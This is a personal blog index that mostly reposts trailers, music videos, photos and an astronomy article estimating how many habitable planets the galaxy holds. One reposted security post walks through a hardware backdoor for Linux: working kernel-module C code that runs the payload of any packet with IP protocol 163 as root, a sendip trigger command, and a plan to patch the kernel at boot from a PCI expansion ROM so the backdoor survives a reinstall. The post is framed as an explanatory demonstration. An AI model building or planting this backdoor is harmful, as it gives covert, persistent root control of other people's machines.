Mayur's Posterous

Scott Pilgrim VS The Matrix (trailer mashup)

Posted

B-2 Spirit stealth bomber

When I said stealth aircraft in this post, I meant something that looked like a B-2 Spirit stealth bomber which was the result of a black project development push in the 1980s. It is currently in use by the U.S. Armed Forces.

Media_httpwwwphotosfa_euixo

Media_httpimagewarese_dshbf
Posted

Mike Song "Jig" Dubstep Routine v1.0

PEW PEW PEW!

Posted

Crazy Town - Butterfly

Posted

Student-designed door could save lives during earthquakes

Media_httpimagesgizma_calzd

 

Posted

Zach Galifianakis smokes a joint on Bill Maher's show

I love this guy. He'd be a part of my wolf pack.
Posted

Broken Social Scene - Anthems For A Seventeen-Year-Old

Posted

This is a picture of me (yawning) and the sis on "Revenge of the Mummy" @ Universal Studios Singapore

Media_httpimgurcomyhu_gjlxi

As you can see, I was super bored on this "thrill ride" pssh.
Posted

Hosting backdoors in hardware [techies, read this]

Have you ever had a machine get compromised? What did you do? Did you run rootkit checkers and reboot? Did you restore from backups or wipe and reinstall the machines, to remove any potential backdoors?

In some cases, that may not be enough. In this blog post, we’re going to describe how we can gain full control of someone’s machine by giving them a piece of hardware which they install into their computer. The backdoor won’t leave any trace on the disk, so it won’t be eliminated even if the operating system is reinstalled. It’s important to note that our ability to do this does not depend on exploiting any bugs in the operating system or other software; our hardware-based backdoor would work even if all the software on the system worked perfectly as designed.

I’ll let you figure out the social engineering side of getting the hardware installed (birthday “present”?), and instead focus on some of the technical details involved.

Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel so that we can control the machine remotely over the Internet. We’re going to make the simplifying assumption that we have a virtual machine which is a replica of the actual target machine. In particular, we know the architecture and exact kernel version of the target machine. Our proof-of-concept code will be written to only work on this specific kernel version, but it’s mainly just a matter of engineering effort to support a wide range of kernels.

Modifying the kernel with a kernel module

The easiest way to modify the behavior of our kernel is by loading a kernel module. Let’s start by writing a module that will allow us to remotely control a machine.

IP packets have a field called the protocol number, which is how systems distinguish between TCP and UDP and other protocols. We’re going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we’ll execute its data payload in a shell running as root. This will give us complete remote control of the machine.

The Linux kernel has a global table inet_protos consisting of a struct net_protocol * for each protocol number. The important field for our purposes is handler, a pointer to a function which takes a single argument of type struct sk_buff *. Whenever the Linux kernel receives an IP packet, it looks up the entry in inet_protos corresponding to the protocol number of the packet, and if the entry is not NULL, it passes the packet to the handler function. The struct sk_buff type is quite complicated, but the only field we care about is the data field, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using the call_usermodehelper function, so our handler looks like this:

int exec_packet(struct sk_buff *skb)
{
        char *argv[4] = {"/bin/sh", "-c", skb->data, NULL};
        char *envp[1] = {NULL};

        call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT);

        kfree_skb(skb);
        return 0;
}

We also have to define a struct net_protocol which points to our packet handler, and register it when our module is loaded:

const struct net_protocol proto163_protocol = {
        .handler = exec_packet,
        .no_policy = 1,
        .netns_ok = 1
};

int init_module(void)
{
        return (inet_add_protocol(&proto163_protocol, 163) < 0);
}

Let’s build and load the module:

rwbarton@target:~$ make
make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic'
  CC [M]  /home/rwbarton/exec163.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/rwbarton/exec163.mod.o
  LD [M]  /home/rwbarton/exec163.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic'
rwbarton@target:~$ sudo insmod exec163.ko

Now we can use sendip (available in the sendip Ubuntu package) to construct and send a packet with protocol number 163 from a second machine (named control) to the target machine:

rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload
rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetip
rwbarton@target:~$ ls -l /tmp/x
-rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/x

Great! It worked. Note that we have to send a null-terminated string in the payload, because that’s what call_usermodehelper expects to find in argv and we didn’t add a terminator in exec_packet.

Modifying the on-disk kernel

In the previous section we used the module loader to make our changes to the running kernel. Our next goal is to make these changes by altering the kernel on the disk. This is basically an application of ordinary binary patching techniques, so we’re just going to give a high-level overview of what needs to be done.

The kernel lives in the /boot directory; on my test system, it’s called /boot/vmlinuz-2.6.32-24-generic. This file actually contains a compressed version of the kernel, along with the code which decompresses it and then jumps to the start. We’re going to modify this code to make a few changes to the decompressed image before executing it, which have the same effect as loading our kernel module did in the previous section.

When we used the kernel module loader to make our changes to the kernel, the module loader performed three important tasks for us:

  1. it allocated kernel memory to store our kernel module, including both code (the exec_packet function) and data (proto163_protocol and the string constants in exec_packet) sections;
  2. it performed relocations, so that, for example, exec_packet knows the addresses of the kernel functions it needs to call such as kfree_skb, as well as the addresses of its string constants;
  3. it ran our init_module function.

We have to address each of these points in figuring out how to apply our changes without making use of the module loader.

The second and third points are relatively straightforward thanks to our simplifying assumption that we know the exact kernel version on the target system. We can look up the addresses of the kernel functions our module needs to call by hand, and define them as constants in our code. We can also easily patch the kernel’s startup function to install a pointer to our proto163_protocol in inet_protos[163], since we have an exact copy of its code.

The first point is a little tricky. Normally, we would call kmalloc to allocate some memory to store our module’s code and data, but we need to make our changes before the kernel has started running, so the memory allocator won’t be initialized yet. We could try to find some code to patch that runs late enough that it is safe to call kmalloc, but we’d still have to find somewhere to store that extra code.

What we’re going to do is cheat and find some data which isn’t used for anything terribly important, and overwrite it with our own data. In general, it’s hard to be sure what a given chunk of kernel image is used for; even a large chunk of zeros might be part of an important lookup table. However, we can be rather confident that any error messages in the kernel image are not used for anything besides being displayed to the user. We just need to find an error message which is long enough to provide space for our data, and obscure enough that it’s unlikely to ever be triggered. We’ll need well under 180 bytes for our data, so let’s look for strings in the kernel image which are at least that long:

rwbarton@target:~$ strings vmlinux | egrep  '^.{180}' | less

One of the output lines is this one:

<4>Attempt to access file with crypto metadata only in the extended attribute region, but eCryptfs was mounted without xattr support enabled. eCryptfs will not treat this like an encrypted file.

This sounds pretty obscure to me, and a Google search doesn’t find any occurrences of this message which aren’t from the kernel source code. So, we’re going to just overwrite it with our data.

Having worked out what changes need to be applied to the decompressed kernel, we can modify the vmlinuz file so that it applies these changes after performing the decompression. Again, we need to find a place to store our added code, and conveniently enough, there are a bunch of strings used as error messages (in case decompression fails). We don’t expect the decompression to fail, because we didn’t modify the compressed image at all. So we’ll overwrite those error messages with code that applies our patches to the decompressed kernel, and modify the code in vmlinuz that decompresses the kernel to jump to our code after doing so. The changes amount to 5 bytes to write that jmp instruction, and about 200 bytes for the code and data that we use to patch the decompressed kernel.

Modifying the kernel during the boot process

Our end goal, however, is not to actually modify the on-disk kernel at all, but to create a piece of hardware which, if present in the target machine when it is booted, will cause our changes to be applied to the kernel. How can we accomplish that?

The PCI specification defines a “expansion ROM” mechanism whereby a PCI card can include a bit of code for the BIOS to execute during the boot procedure. This is intended to give the hardware a chance to initialize itself, but we can also use it for our own purposes. To figure out what code we need to include on our expansion ROM, we need to know a little more about the boot process.

When a machine boots up, the BIOS initializes the hardware, then loads the master boot record from the boot device, generally a hard drive. Disks are traditionally divided into conceptual units called sectors of 512 bytes each. The master boot record is the first sector on the drive. After loading the master boot record into memory, the BIOS jumps to the beginning of the record.

On my test system, the master boot record was installed by GRUB. It contains code to load the rest of the GRUB boot loader, which in turn loads the /boot/vmlinuz-2.6.32-24-generic image from the disk and executes it. GRUB contains a built-in driver which understands the ext4 filesystem layout. However, it relies on the BIOS to actually read data from the disk, in much the same way that a user-level program relies on an operating system to access the hardware. Roughly speaking, when GRUB wants to read some sectors off the disk, it loads the start sector, number of sectors to read, and target address into registers, and then invokes the int 0x13 instruction to raise an interrupt. The CPU has a table of interrupt descriptors, which specify for each interrupt number a function pointer to call when that interrupt is raised. During initialization, the BIOS sets up these function pointers so that, for example, the entry corresponding to interrupt 0x13 points to the BIOS code handling hard drive IO.

Our expansion ROM is run after the BIOS sets up these interrupt descriptors, but before the master boot record is read from the disk. So what we’ll do in the expansion ROM code is overwrite the entry for interrupt 0x13. This is actually a legitimate technique which we would use if we were writing an expansion ROM for some kind of exotic hard drive controller, which a generic BIOS wouldn’t know how to read, so that we could boot off of the exotic hard drive. In our case, though, what we’re going to make the int 0x13 handler do is to call the original interrupt handler, then check whether the data we read matches one of the sectors of /boot/vmlinuz-2.6.32-24-generic that we need to patch. The ext4 filesystem stores files aligned on sector boundaries, so we can easily determine whether we need to patch a sector that’s just been read by inspecting the first few bytes of the sector. Then we return from our custom int 0x13 handler. The code for this handler will be stored on our expansion ROM, and the entry point of our expansion ROM will set up the interrupt descriptor entry to point to it.

In summary, the boot process of the system with our PCI card inserted looks like this:

  • The BIOS starts up and performs basic initialization, including setting up the interrupt descriptor table.
  • The BIOS runs our expansion ROM code, which hooks the int 0x13 handler so that it will apply our patch to the vmlinuz file when it is read off the disk.
  • The BIOS loads the master boot record installed by GRUB, and jumps to it. The master boot record loads the rest of GRUB.
  • GRUB reads the vmlinuz file from the disk, but our custom int 0x13 handler applies our patches to the kernel before returning.
  • GRUB jumps to the vmlinuz entry point, which decompresses the kernel image. Our modifications to vmlinuz cause it to overwrite a string constant with our exec_packet function and associated data, and also to overwrite the end of the startup code to install a pointer to this data in inet_protos[163].
  • The startup code of the decompressed kernel runs and installs our handler in inet_protos[163].
  • The kernel continues to boot normally.

We can now control the machine remotely over the Internet by sending it packets with protocol number 163.

One neat thing about this setup is that it’s not so easy to detect that anything unusual has happened. The running Linux system reads from the disk using its own drivers, not BIOS calls via the real-mode interrupt table, so inspecting the on-disk kernel image will correctly show that it is unmodified. For the same reason, if we use our remote control of the machine to install some malicious software which is then detected by the system administrator, the usual procedure of reinstalling the operating system and restoring data from backups will not remove our backdoor, since it is not stored on the disk at all.

What does all this mean in practice? Just like you should not run untrusted software, you should not install hardware provided by untrusted sources. Unless you work for something like a government intelligence agency, though, you shouldn’t realistically worry about installing commodity hardware from reputable vendors. After all, you’re already also trusting the manufacturer of your processor, RAM, etc., as well as your operating system and compiler providers. Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.

Ksplice Uptrack

This entry was posted on Wednesday, October 27th, 2010 at 11:56 am and is filed under security. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

 We need to get more open source hardware out there. http://en.wikipedia.org/wiki/Open-source_hardware

Posted

How many habitable planets are there in the galaxy? | Bad Astronomy | Discover Magazine

gliese581c
By now you may have heard the report that as many as 1/4 of all the sun-like stars in the Milky Way may have Earth-like worlds. Briefly, astronomers studied 166 stars within 80 light years of Earth, and did a survey of the planets they found orbiting them. What they found is that about 1.5% of the stars have Jupiter-mass planets, 6% have Neptune-mass ones, and about 12% have planets from 3 – 10 times the Earth’s mass.

This sample isn’t complete, and they cannot detect planets smaller than 3 times the Earth’s mass. But using some statistics, they can estimate from the trend that as many as 25% of sun-like stars have earth-mass planets orbiting them!

 

 

Like mass?

Now, there’s a very important caveat here: these are planets that have the same mass as Earth, but that doesn’t mean they are very earth-like. The planets the team could find were very close to their parent stars, so they’d be very hot, and uninhabitable. But the good news is that if that trend in mass they saw is correct, the Milky Way is littered with planets the mass of the Earth! If some of them are in the habitable zone of their star… well.

spitzermilkyway_sunscalebar
So a funny thing: I was thinking about this very problem a couple of days ago, but from a different angle. How many habitable planets are there in the Milky Way? Not just earth-mass, but also orbiting their star in the so-called Goldilocks Zone, where temperatures are right for liquid water?

There’s a way to estimate it. And it involves the planet recently announced, Gliese 581g. This planet is about 3 times the Earth’s mass, and it orbits its star in the right place. We don’t know what it’s made of, if it has an atmosphere, or really very much about it at all! But given its mass and temperature, it’s potentially habitable.

The distance to the Gliese 581 system is what gets me excited: it’s 20 light years away. That’s close, compared to the vast size of our galaxy. So let’s assume Gliese 581g is the closest potentially habitable planet to us. Given that assumption, we can estimate the number of potentially habitable planets in the entire Milky Way! And the math’s not even that hard.
 

 

The not-so-hard math

Extrapolating from our one example, let’s say that habitable planets are roughly 20 light years apart in the galaxy (as we’ll see, that number can be a lot bigger or smaller, and the end result is still cool). That means there’s one star per cube 20 light years on a side:

sun_twocubes

In the drawing, each box is centered on a star, and the two stars are 20 light years apart. That means the cubes are 20 light years on a side, right? If we assume stars with livable planets are distributed throughout the galaxy like this, then there is one star per 20 x 20 x 20 = 8000 cubic light years. That’s the density of habitable planets in the galaxy.

So how many cubic light years are there in the galaxy?

A lot. Let’s say the Milky Way is a stubby cylinder 100,000 light years across, and 2500 light years thick. The equation of volume of a cylinder is

volume = π x radius of disk2 x height of disk

so

volume = π x 50,0002 x 2500 = 2 x 1013 cubic light years

Holy wow! That’s 20 trillion cubic light years!

Now we just divide the volume of the galaxy by the density of stars with planets to get

2 x 1013 / 8000 = 2,500,000,000 planets

Oh my. Yeah, let that sink in for a second. That’s 2.5 billion planets that are potentially habitable!

 

 

What does this mean?

Well, that’s a whole lot of planets! That’s what it means.

What’s cool, too, is that this number isn’t all that far off from what you can estimate using the report from yesterday. Something like 25% of the stars in the galaxy are like the Sun (that’s a rough estimate, but close enough). That’s 50 billion stars. If 25% of those have earth-mass planets, that’s about 13 billion total, about five times the number I got. I’d call that pretty close! We made a lot of guesses here, so even a factor of ten isn’t so bad. And we’re not really comparing apples to apples, either, since they were looking for earth-mass planets, and I was looking for earth-like planets.

So think about it: 2.5 billion habitable planets is roughly enough for every man, woman, and child on Earth to each have a planet. You can see why I’m not too concerned with the exact math. Even if my numbers are way off, there could be as few as hundreds of millions of planets, or as many as maybe hundreds of billions in our galaxy alone that we could live on!

Again, the point being that mathematically speaking, there may be a lot of habitable planets out there. And who knows; some may be marginally habitable and we can terraform them. And then there are moons of worlds, too… I don’t think I’m speaking too far out of school if I were to speculate that for every perfect Terra Nova out there, there might be three or four more planets we could live on with some work.

Of course, I’m ignoring how we’d get there! But that’s an engineering problem, and given enough time — oh, say, a century or two — I imagine we can overcome a lot of those issues.

If, and when, we do, there will be a lot of real estate out there to poke around in.

Per ardua, ad astra!

 

 

Posted